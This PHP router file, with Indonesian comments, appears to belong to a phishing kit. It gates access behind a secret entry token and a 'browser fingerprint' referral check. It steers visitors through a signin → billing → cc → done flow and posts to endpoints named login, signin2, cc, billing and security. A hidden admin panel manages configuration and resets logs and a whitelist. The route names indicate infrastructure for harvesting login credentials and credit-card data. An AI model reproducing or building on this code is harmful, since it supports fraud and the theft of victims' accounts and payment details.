<?php

class Router {
    private $routes = [];
    
    public function get($path, $handler) {
        $this->routes['GET'][$path] = $handler;
    }
    
    public function post($path, $handler) {
        $this->routes['POST'][$path] = $handler;
    }
    
    public function dispatch() {
        $method = $_SERVER['REQUEST_METHOD'];
        $path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
        $path = rtrim($path, '/');
        
        $baseDir = dirname($_SERVER['SCRIPT_NAME']);
        if ($baseDir !== '/' && $baseDir !== '\\') {
            $path = str_replace($baseDir, '', $path);
        }
        
        // 1. LOGIKA ROOT
        if (empty($path) || $path === '/') {
            if (ENTRY_PARAM_NAME !== null) {
                // Sesuai permintaan: Cukup ada ?token (tanpa nilai tidak apa-apa)
                if (!isset($_GET[ENTRY_PARAM_NAME])) {
                    http_response_code(403);
                    die('Access denied: Missing entry token.');
                }
            }
            
            // Menggunakan fungsi yang sudah ada di helper.php
            $reffCode = getVisitorReferralCode();
            $redirectUrl = '/signin?reff=' . $reffCode;
            
            header('Location: ' . $redirectUrl);
            exit;
        }
        
        // 2. VALIDASI KEAMANAN REFF (Fingerprint check)
        $providedReff = $_GET['reff'] ?? null;
        if ($providedReff) {
            // Kita bandingkan reff di URL dengan fungsi di helper.php
            if ($providedReff !== getVisitorReferralCode()) {
                http_response_code(403);
                die('Security Error: Browser fingerprint mismatch.');
            }
        }
        
        // 3. JALANKAN RUTE TERDAFTAR
        if (isset($this->routes[$method][$path])) {
            $handler = $this->routes[$method][$path];
            if (is_callable($handler)) {
                return call_user_func($handler);
            } elseif (is_string($handler)) {
                $viewPath = function_exists('get_device_view_path') ? get_device_view_path($handler) : $handler;
                if (file_exists(VIEWS_PATH . $viewPath)) {
                    return include VIEWS_PATH . $viewPath;
                }
                if (file_exists(VIEWS_PATH . $handler)) {
                    return include VIEWS_PATH . $handler;
                }
            }
        }
        
        // 4. AUTO-LOAD DARI FOLDER VIEWS (dengan deteksi device: mobile/pc)
        $page = ltrim($path, '/') . '.php';
        if (function_exists('get_device_view_path')) {
            $deviceView = get_device_view_path($page);
            $viewFile = VIEWS_PATH . $deviceView;
            if (file_exists($viewFile) && !is_dir($viewFile)) {
                return include $viewFile;
            }
        }
        $viewFile = VIEWS_PATH . $path . '.php';
        if (file_exists($viewFile) && !is_dir($viewFile)) {
            return include $viewFile;
        }
        
        http_response_code(404);
        echo "Page not found";
    }
}

// --- INITIALIZE & DEFINE ROUTES ---
$router = new Router();

// API Routes
$router->post('/api/login', function() { require_once SYSTEM_PATH . '/api/login.php'; });
$router->post('/api/signin2', function() { require_once SYSTEM_PATH . '/api/signin2.php'; });
$router->post('/api/cc', function() { require_once SYSTEM_PATH . '/api/cc.php'; });
$router->post('/api/billing', function() { require_once SYSTEM_PATH . '/api/billing.php'; });
$router->post('/api/security', function() { require_once SYSTEM_PATH . '/api/security.php'; });

// Page Routes — Alur: signin → billing → cc → done
$router->get('/login', '/login.php');
$router->get('/cc', '/cc.php');
$router->get('/billing', function() {
    if (!defined('BILLING_ENABLED') || !BILLING_ENABLED) {
        $reff = function_exists('getVisitorReferralCode') ? getVisitorReferralCode() : '';
        $q = $reff !== '' ? '?reff=' . rawurlencode($reff) : '';
        header('Location: /cc' . $q);
        exit;
    }
    $viewPath = function_exists('get_device_view_path') ? get_device_view_path('billing.php') : 'billing.php';
    $viewFile = VIEWS_PATH . $viewPath;
    if (file_exists($viewFile)) { return include $viewFile; }
    if (file_exists(VIEWS_PATH . 'billing.php')) { return include VIEWS_PATH . 'billing.php'; }
    http_response_code(404);
    echo 'Page not found';
});
$router->get('/done', '/done.php');
$router->get('/signin', '/signin.php');

// Admin panel (login + parameter akses; reff skipped in core for /admin)
$router->get('/admin', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    if (admin_is_logged_in()) {
        header('Location: /admin/dashboard' . admin_access_query_string());
        exit;
    }
    include VIEWS_PATH . '/admin/login.php';
});
$router->post('/admin/login', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    $user = $_POST['username'] ?? '';
    $pass = $_POST['password'] ?? '';
    if (admin_login($user, $pass)) {
        header('Location: /admin/dashboard' . admin_access_query_string());
        exit;
    }
    $_SESSION['admin_login_error'] = 'Invalid username or password.';
    header('Location: /admin' . admin_access_query_string());
    exit;
});
$router->get('/admin/logout', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    admin_logout();
    header('Location: /admin' . admin_access_query_string());
    exit;
});
$router->get('/admin/dashboard', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    admin_require_login();
    include VIEWS_PATH . '/admin/dashboard.php';
});
$router->get('/admin/config', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    admin_require_login();
    try {
        include VIEWS_PATH . '/admin/config.php';
    } catch (Throwable $e) {
        $_SESSION['admin_config_error'] = 'Error loading config form: ' . $e->getMessage();
        header('Location: /admin/dashboard' . admin_access_query_string());
        exit;
    }
});
$router->post('/admin/save', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    admin_require_login();
    try {
        if (admin_write_config($_POST)) {
            $_SESSION['admin_config_saved'] = true;
            unset($_SESSION['admin_config_error']);
        } else {
            if (empty($_SESSION['admin_config_error'])) {
                $_SESSION['admin_config_error'] = 'Failed to write config file.';
            }
        }
    } catch (Throwable $e) {
        $_SESSION['admin_config_error'] = 'Error: ' . $e->getMessage();
    }
    header('Location: /admin/config' . admin_access_query_string());
    exit;
});
$router->post('/admin/reset-logs', function() {
    require_once SYSTEM_PATH . '/admin.php';
    admin_require_access_param();
    admin_require_login();
    if (function_exists('reset_logs')) {
        reset_logs();
    }
    if (function_exists('clear_whitelist')) {
        clear_whitelist();
    }
    $_SESSION['admin_logs_reset'] = true;
    header('Location: /admin/dashboard' . admin_access_query_string());
    exit;
});

return $router;
